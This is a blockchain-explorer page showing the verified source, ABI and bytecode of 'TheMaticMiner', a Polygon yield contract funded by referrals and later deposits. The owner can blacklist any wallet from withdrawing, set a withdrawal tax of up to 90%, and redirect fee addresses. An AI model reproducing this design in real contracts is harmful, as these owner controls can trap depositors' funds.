Contract Overview
Balance:
0.1 MATIC
MATIC Value:
$0.11 (@ $1.08/MATIC)
My Name Tag:
Not Available, login to update
[ Download CSV Export ]
Contract Name:
TheMaticMiner
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at polygonscan.com on 2022-11-15 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; contract TheMaticMiner { using SafeMath for uint256; /** base parameters **/ uint256 public EGGS_TO_HIRE_1MINERS = 1440000; uint256 public REFERRAL = 60; uint256 public PERCENTS_DIVIDER = 1000; uint256 public TAX = 10; uint256 public MKT = 10; uint256 public MARKET_EGGS_DIVISOR = 2; uint256 public MIN_INVEST_LIMIT = 1 * 1e17; uint256 public WALLET_DEPOSIT_LIMIT = 100 * 1e18; uint256 public COMPOUND_BONUS = 20; uint256 public COMPOUND_BONUS_MAX_TIMES = 5; uint256 public COMPOUND_STEP = 12 * 60 * 60; uint256 public WITHDRAWAL_TAX = 600; uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 5; uint256 public totalStaked; uint256 public totalDeposits; uint256 public totalCompound; uint256 public totalRefBonus; uint256 public totalWithdrawn; uint256 public marketEggs; uint256 PSN = 10000; uint256 PSNH = 5000; bool public contractStarted; bool public blacklistActive = true; mapping(address => bool) public Blacklisted; uint256 public CUTOFF_STEP = 48 * 60 * 60; uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60; /* addresses */ address public owner; address payable public dev1; address payable public dev2; address payable public dev3; address payable public prtnr1; address payable public prtnr2; address payable public mkt; struct User { uint256 initialDeposit; uint256 userDeposit; uint256 miners; uint256 claimedEggs; uint256 lastHatch; address referrer; uint256 referralsCount; uint256 referralEggRewards; uint256 totalWithdrawn; uint256 dailyCompoundBonus; uint256 farmerCompoundCount; //added to monitor farmer consecutive compound without cap uint256 lastWithdrawTime; } mapping(address => User) public users; constructor(address payable _dev1, address payable _dev2, address payable _dev3, address payable _prtnr1, address payable _prtnr2, address payable _mkt) { require(!isContract(_dev1) && !isContract(_dev2) && !isContract(_dev3) && !isContract(_prtnr1) && !isContract(_prtnr2) && !isContract(_mkt)); owner = msg.sender; dev1 = _dev1; dev2 = _dev2; dev3 = _dev3; prtnr1 = _prtnr1; prtnr2 = _prtnr2; mkt = _mkt; } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } function setblacklistActive(bool isActive) public{ require(msg.sender == owner, "Admin use only."); blacklistActive = isActive; } function blackListWallet(address Wallet, bool isBlacklisted) public{ require(msg.sender == owner, "Admin use only."); Blacklisted[Wallet] = isBlacklisted; } function blackMultipleWallets(address[] calldata Wallet, bool isBlacklisted) public{ require(msg.sender == owner, "Admin use only."); for(uint256 i = 0; i < Wallet.length; i++) { Blacklisted[Wallet[i]] = isBlacklisted; } } function checkIfBlacklisted(address Wallet) public view returns(bool blacklisted){ require(msg.sender == owner, "Admin use only."); blacklisted = Blacklisted[Wallet]; } function startFarm(address addr) public payable{ if (!contractStarted) { if (msg.sender == owner) { require(marketEggs == 0); contractStarted = true; marketEggs = 144000000000; hireFarmers(addr); } else revert("Contract not yet started."); } } //fund contract with BNB before launch. function fundContract() external payable {} function hireMoreFarmers(bool isCompound) public { User storage user = users[msg.sender]; require(contractStarted, "Contract not yet Started."); uint256 eggsUsed = getMyEggs(); uint256 eggsForCompound = eggsUsed; if(isCompound) { uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound); eggsForCompound = eggsForCompound.add(dailyCompoundBonus); uint256 eggsUsedValue = calculateEggSell(eggsForCompound); user.userDeposit = user.userDeposit.add(eggsUsedValue); totalCompound = totalCompound.add(eggsUsedValue); } if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) { if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) { user.dailyCompoundBonus = user.dailyCompoundBonus.add(1); } //add compoundCount for monitoring purposes. user.farmerCompoundCount = user.farmerCompoundCount .add(1); } user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS)); user.claimedEggs = 0; user.lastHatch = block.timestamp; marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR)); } function sellCrops() public{ require(contractStarted, "Contract not yet Started."); if (blacklistActive) { require(!Blacklisted[msg.sender], "Address is blacklisted."); } User storage user = users[msg.sender]; uint256 hasEggs = getMyEggs(); uint256 eggValue = calculateEggSell(hasEggs); /** if user compound < to mandatory compound days**/ if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){ //daily compound bonus count will not reset and eggValue will be deducted with 60% feedback tax. eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER)); }else{ //set daily compound bonus count to 0 and eggValue will remain without deductions user.dailyCompoundBonus = 0; user.farmerCompoundCount = 0; } user.lastWithdrawTime = block.timestamp; user.claimedEggs = 0; user.lastHatch = block.timestamp; marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR)); if(getBalance() < eggValue) { eggValue = getBalance(); } uint256 eggsPayout = eggValue.sub(payFees(eggValue)); payable(address(msg.sender)).transfer(eggsPayout); user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout); totalWithdrawn = totalWithdrawn.add(eggsPayout); } /** transfer amount of BNB **/ function hireFarmers(address ref) public payable{ require(contractStarted, "Contract not yet Started."); User storage user = users[msg.sender]; require(msg.value >= MIN_INVEST_LIMIT, "Mininum investment not met."); require(user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached."); uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value)); user.userDeposit = user.userDeposit.add(msg.value); user.initialDeposit = user.initialDeposit.add(msg.value); user.claimedEggs = user.claimedEggs.add(eggsBought); if (user.referrer == address(0)) { if (ref != msg.sender) { user.referrer = ref; } address upline1 = user.referrer; if (upline1 != address(0)) { users[upline1].referralsCount = users[upline1].referralsCount.add(1); } } if (user.referrer != address(0)) { address upline = user.referrer; if (upline != address(0)) { uint256 refRewards = msg.value.mul(REFERRAL).div(PERCENTS_DIVIDER); payable(address(upline)).transfer(refRewards); users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards); totalRefBonus = totalRefBonus.add(refRewards); } } uint256 eggsPayout = payFees(msg.value); totalStaked = totalStaked.add(msg.value.sub(eggsPayout)); totalDeposits = totalDeposits.add(1); hireMoreFarmers(false); } function payFees(uint256 eggValue) internal returns(uint256){ uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER); uint256 mktng = eggValue.mul(MKT).div(PERCENTS_DIVIDER); dev1.transfer(tax); dev2.transfer(tax); dev3.transfer(tax); prtnr1.transfer(tax); prtnr2.transfer(tax); mkt.transfer(mktng); return mktng.add(tax.mul(5)); } function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){ if(users[_adr].dailyCompoundBonus == 0) { return 0; } else { uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS); uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER); return result; } } function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners, uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals, uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _farmerCompoundCount, uint256 _lastWithdrawTime) { _initialDeposit = users[_adr].initialDeposit; _userDeposit = users[_adr].userDeposit; _miners = users[_adr].miners; _claimedEggs = users[_adr].claimedEggs; _lastHatch = users[_adr].lastHatch; _referrer = users[_adr].referrer; _referrals = users[_adr].referralsCount; _totalWithdrawn = users[_adr].totalWithdrawn; _referralEggRewards = users[_adr].referralEggRewards; _dailyCompoundBonus = users[_adr].dailyCompoundBonus; _farmerCompoundCount = users[_adr].farmerCompoundCount; _lastWithdrawTime = users[_adr].lastWithdrawTime; } function getBalance() public view returns(uint256){ return address(this).balance; } function getTimeStamp() public view returns (uint256) { return block.timestamp; } function getAvailableEarnings(address _adr) public view returns(uint256) { uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr)); return calculateEggSell(userEggs); } function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){ return SafeMath.div( SafeMath.mul(PSN, bs), SafeMath.add(PSNH, SafeMath.div( SafeMath.add( SafeMath.mul(PSN, rs), SafeMath.mul(PSNH, rt)), rt))); } function calculateEggSell(uint256 eggs) public view returns(uint256){ return calculateTrade(eggs, marketEggs, getBalance()); } function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){ return calculateTrade(eth, contractBalance, marketEggs); } function calculateEggBuySimple(uint256 eth) public view returns(uint256){ return calculateEggBuy(eth, getBalance()); } /** How many miners and eggs per day user will recieve based on BNB deposit **/ function getEggsYield(uint256 amount) public view returns(uint256,uint256) { uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount)); uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS); uint256 day = 1 days; uint256 eggsPerDay = day.mul(miners); uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount); return(miners, earningsPerDay); } function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){ return calculateTrade(eggs,marketEggs, getBalance().add(amount)); } function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) { return (totalStaked, totalDeposits, totalCompound, totalRefBonus); } function getMyMiners() public view returns(uint256){ return users[msg.sender].miners; } function getMyEggs() public view returns(uint256){ return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender)); } function getEggsSinceLastHatch(address adr) public view returns(uint256){ uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch); /** get min time. **/ uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP); uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime); return secondsPassed.mul(users[adr].miners); } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } function CHANGE_OWNERSHIP(address value) external { require(msg.sender == owner, "Admin use only."); owner = value; } /** function CHANGE_DEV1(address value) external { require(msg.sender == owner, "Admin use only."); dev1 = payable(value); } function CHANGE_DEV2(address value) external { require(msg.sender == owner, "Admin use only."); dev2 = payable(value); } function CHANGE_DEV3(address value) external { require(msg.sender == owner, "Admin use only."); dev3 = payable(value); } **/ function CHANGE_PARTNER1(address value) external { require(msg.sender == owner, "Admin use only."); prtnr1 = payable(value); } function CHANGE_PARTNER2(address value) external { require(msg.sender == owner, "Admin use only."); prtnr2 = payable(value); } function CHANGE_MKT(address value) external { require(msg.sender == owner, "Admin use only."); mkt = payable(value); } /** percentage setters **/ // 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7% // 1080000 - 8%, 959000 - 9%, 864000 - 10%, 720000 - 12% function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value >= 479520 && value <= 720000); /** min 3% max 12%**/ EGGS_TO_HIRE_1MINERS = value; } function PRC_TAX(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 15); TAX = value; } function PRC_MKT(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 20); MKT = value; } function PRC_REFERRAL(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value >= 10 && value <= 100); REFERRAL = value; } function PRC_MARKET_EGGS_DIVISOR(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 50); MARKET_EGGS_DIVISOR = value; } function SET_WITHDRAWAL_TAX(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 900); WITHDRAWAL_TAX = value; } function BONUS_DAILY_COMPOUND(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value >= 10 && value <= 900); COMPOUND_BONUS = value; } function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 30); COMPOUND_BONUS_MAX_TIMES = value; } function BONUS_COMPOUND_STEP(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 24); COMPOUND_STEP = value * 60 * 60; } function SET_INVEST_MIN(uint256 value) external { require(msg.sender == owner, "Admin use only"); MIN_INVEST_LIMIT = value * 1e17; } function SET_CUTOFF_STEP(uint256 value) external { require(msg.sender == owner, "Admin use only"); CUTOFF_STEP = value * 60 * 60; } function SET_WITHDRAW_COOLDOWN(uint256 value) external { require(msg.sender == owner, "Admin use only"); require(value <= 24); WITHDRAW_COOLDOWN = value * 60 * 60; } function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external { require(msg.sender == owner, "Admin use only"); require(value >= 10); WALLET_DEPOSIT_LIMIT = value * 1 ether; } function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 12); COMPOUND_FOR_NO_TAX_WITHDRAWAL = value; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address payable","name":"_dev1","type":"address"},{"internalType":"address payable","name":"_dev2","type":"address"},{"internalType":"address payable","name":"_dev3","type":"address"},{"internalType":"address payable","name":"_prtnr1","type":"address"},{"internalType":"address payable","name":"_prtnr2","type":"address"},{"internalType":"address payable","name":"_mkt","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"BONUS_COMPOUND_STEP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"BONUS_DAILY_COMPOUND","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Blacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"name":"CHANGE_MKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"name":"CHANGE_OWNERSHIP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"name":"CHANGE_PARTNER1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"name":"CHANGE_PARTNER2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"COMPOUND_BONUS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"COMPOUND_BONUS_MAX_TIMES","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"COMPOUND_FOR_NO_TAX_WITHDRAWAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"COMPOUND_STEP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CUTOFF_STEP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EGGS_TO_HIRE_1MINERS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MARKET_EGGS_DIVISOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MIN_INVEST_LIMIT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MKT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENTS_DIVIDER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_EGGS_TO_HIRE_1MINERS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_MARKET_EGGS_DIVISOR","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_MKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_REFERRAL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_TAX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"REFERRAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_CUTOFF_STEP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_INVEST_MIN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_WALLET_DEPOSIT_LIMIT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_WITHDRAWAL_TAX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_WITHDRAW_COOLDOWN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WALLET_DEPOSIT_LIMIT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WITHDRAWAL_TAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WITHDRAW_COOLDOWN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Wallet","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blackListWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"Wallet","type":"address[]"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blackMultipleWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"blacklistActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eth","type":"uint256"},{"internalType":"uint256","name":"contractBalance","type":"uint256"}],"name":"calculateEggBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eth","type":"uint256"}],"name":"calculateEggBuySimple","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eggs","type":"uint256"}],"name":"calculateEggSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eggs","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"calculateEggSellForYield","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rt","type":"uint256"},{"internalType":"uint256","name":"rs","type":"uint256"},{"internalType":"uint256","name":"bs","type":"uint256"}],"name":"calculateTrade","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Wallet","type":"address"}],"name":"checkIfBlacklisted","outputs":[{"internalType":"bool","name":"blacklisted","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractStarted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dev1","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dev2","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dev3","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundContract","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"}],"name":"getAvailableEarnings","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getDailyCompoundBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"getEggsSinceLastHatch","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getEggsYield","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMyEggs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMyMiners","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSiteInfo","outputs":[{"internalType":"uint256","name":"_totalStaked","type":"uint256"},{"internalType":"uint256","name":"_totalDeposits","type":"uint256"},{"internalType":"uint256","name":"_totalCompound","type":"uint256"},{"internalType":"uint256","name":"_totalRefBonus","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTimeStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"}],"name":"getUserInfo","outputs":[{"internalType":"uint256","name":"_initialDeposit","type":"uint256"},{"internalType":"uint256","name":"_userDeposit","type":"uint256"},{"internalType":"uint256","name":"_miners","type":"uint256"},{"internalType":"uint256","name":"_claimedEggs","type":"uint256"},{"internalType":"uint256","name":"_lastHatch","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"uint256","name":"_referrals","type":"uint256"},{"internalType":"uint256","name":"_totalWithdrawn","type":"uint256"},{"internalType":"uint256","name":"_referralEggRewards","type":"uint256"},{"internalType":"uint256","name":"_dailyCompoundBonus","type":"uint256"},{"internalType":"uint256","name":"_farmerCompoundCount","type":"uint256"},{"internalType":"uint256","name":"_lastWithdrawTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref","type":"address"}],"name":"hireFarmers","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bool","name":"isCompound","type":"bool"}],"name":"hireMoreFarmers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketEggs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prtnr1","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prtnr2","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellCrops","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isActive","type":"bool"}],"name":"setblacklistActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"startFarm","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"totalCompound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDeposits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRefBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"users","outputs":[{"internalType":"uint256","name":"initialDeposit","type":"uint256"},{"internalType":"uint256","name":"userDeposit","type":"uint256"},{"internalType":"uint256","name":"miners","type":"uint256"},{"internalType":"uint256","name":"claimedEggs","type":"uint256"},{"internalType":"uint256","name":"lastHatch","type":"uint256"},{"internalType":"address","name":"referrer","type":"address"},{"internalType":"uint256","name":"referralsCount","type":"uint256"},{"internalType":"uint256","name":"referralEggRewards","type":"uint256"},{"internalType":"uint256","name":"totalWithdrawn","type":"uint256"},{"internalType":"uint256","name":"dailyCompoundBonus","type":"uint256"},{"internalType":"uint256","name":"farmerCompoundCount","type":"uint256"},{"internalType":"uint256","name":"lastWithdrawTime","type":"uint256"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526215f900600055603c6001556103e8600255600a600355600a600455600260055567016345785d8a000060065568056bc75e2d631000006007556014600855600560095561a8c0600a55610258600b556005600c556127106013556113886014556001601560016101000a81548160ff0219169083151502179055506202a3006017556138406018553480156200009a57600080fd5b50604051620024c2380380620024c2833981016040819052620000bd91620001a0565b853b158015620000cc5750843b155b8015620000d85750833b155b8015620000e45750823b155b8015620000f05750813b155b8015620000fc5750803b155b6200010657600080fd5b60198054336001600160a01b031991821617909155601a805482166001600160a01b03988916179055601b8054821696881696909617909555601c8054861694871694909417909355601d8054851692861692909217909155601e80548416918516919091179055601f8054909216921691909117905562000221565b80516001600160a01b03811681146200019b57600080fd5b919050565b60008060008060008060c08789031215620001ba57600080fd5b620001c58762000183565b9550620001d56020880162000183565b9450620001e56040880162000183565b9350620001f56060880162000183565b9250620002056080880162000183565b91506200021560a0880162000183565b90509295509295509295565b61229180620002316000396000f3fe6080604052600436106104315760003560e01c80637a62ead711610229578063b6e6fcf61161012e578063d7206d5d116100b6578063e6dc95581161007a578063e6dc955814610d34578063e757694314610d54578063eb27126814610d74578063f6f6288614610d94578063ffa4e61814610daa57600080fd5b8063d7206d5d14610cb8578063d7c8843b14610cce578063d989b4b314610cee578063da235b2214610d0e578063da5d4cc514610d2157600080fd5b8063c3251b40116100fd578063c3251b4014610c36578063c63568c714610c56578063c688f0fb14610c6c578063cc3e9c7814610c82578063cd329fc314610ca257600080fd5b8063b6e6fcf614610bc2578063bd097e21146104f1578063bdd1ca2714610be1578063bfa9f30414610c1657600080fd5b80638a315efd116101b1578063959c95b311610180578063959c95b314610abf5780639b9cb69f14610adf5780639e9300a514610aff578063a327c45d14610b1f578063a87430ba14610b3f57600080fd5b80638a315efd14610a495780638da5cb5b14610a695780638e31632714610a89578063950d91e914610aa957600080fd5b80637db07c9d116101f85780637db07c9d146109bd5780637e56fde5146109d35780637ee28e3c146109f35780638013f3a714610a13578063817b1cd214610a3357600080fd5b80637a62ead7146109475780637c8e4b4c146109675780637cc5b1e6146109875780637d882097146109a757600080fd5b8063333f57b31161033a578063570c2979116102c257806368f58b031161028657806368f58b03146108c557806369b11dd5146108db5780636f969d28146108f1578063752a262814610911578063796ed7671461092757600080fd5b8063570c297914610775578063573862251461079557806359eec895146107aa5780636386c1c7146107c057806364c03a5e146108a557600080fd5b806345f98c291161030957806345f98c29146106d35780634b319713146106f35780634ce870531461070957806350637dbd1461074257806350cf1c7a1461076257600080fd5b8063333f57b31461065e5780633578584f1461068857806343ce74221461069e57806345a6a6e0146106b357600080fd5b80631a7b8d4f116103bd578063298ea3101161038c578063298ea310146105d25780632b039d0e146105f25780632bc82f7f146106125780632e9392bb146106285780632fe349151461063e57600080fd5b80631a7b8d4f14610552578063229824c4146105725780632362ce891461059257806326fd8422146105b257600080fd5b80630d4b511a116104045780630d4b511a146104d157806312065fe0146104f35780631848b8dc1461050657806318c819d81461051c578063195a73391461053c57600080fd5b806301c234a8146104365780630420c98e1461045f57806307aeb7f0146104755780630a76e5ed146104ad575b600080fd5b34801561044257600080fd5b5061044c60025481565b6040519081526020015b60405180910390f35b34801561046b57600080fd5b5061044c600b5481565b34801561048157600080fd5b50601d54610495906001600160a